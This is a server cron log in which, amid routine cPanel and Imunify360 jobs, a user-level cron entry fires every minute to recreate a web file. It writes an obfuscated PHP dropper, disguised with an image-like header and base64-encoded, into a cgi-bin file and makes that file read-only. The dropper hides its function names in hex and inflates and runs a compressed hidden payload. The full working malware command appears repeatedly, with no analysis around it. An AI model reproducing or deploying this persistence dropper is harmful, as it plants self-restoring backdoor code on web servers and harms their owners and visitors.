Sep  7 22:54:01 server CROND[21668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:54:01 server CROND[21667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:55:01 server CROND[22062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:55:01 server CROND[22064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:55:01 server CROND[22072]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:55:01 server CROND[22073]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:55:01 server CROND[22075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:55:01 server CROND[22074]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:55:01 server CROND[22078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:56:01 server CROND[23053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:56:01 server CROND[23054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:56:01 server CROND[23055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:57:01 server CROND[23429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:57:01 server CROND[23430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:57:01 server CROND[23432]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 22:57:01 server CROND[23431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:58:01 server CROND[23896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:58:01 server CROND[23897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:58:01 server CROND[23898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:59:01 server CROND[24271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:59:01 server CROND[24272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:59:01 server CROND[24273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:00:01 server CROND[24651]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:00:01 server CROND[24652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:00:01 server CROND[24653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:00:01 server CROND[24657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:00:01 server CROND[24661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:00:01 server CROND[24658]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 23:00:01 server CROND[24659]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:00:01 server CROND[24660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:00:01 server CROND[24662]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:01:01 server CROND[25467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:01:01 server CROND[25469]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 23:01:01 server CROND[25470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:01:01 server CROND[25468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:01:01 server run-parts(/etc/cron.hourly)[25469]: starting 0anacron
Sep  7 23:01:01 server run-parts(/etc/cron.hourly)[25491]: finished 0anacron
Sep  7 23:02:01 server CROND[25865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:02:01 server CROND[25867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:02:01 server CROND[25868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:03:01 server CROND[26247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:03:01 server CROND[26249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:03:01 server CROND[26248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:04:01 server CROND[26707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:04:01 server CROND[26709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:04:01 server CROND[26710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:05:01 server CROND[27088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:05:01 server CROND[27089]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 23:05:01 server CROND[27092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:05:01 server CROND[27095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:05:01 server CROND[27094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
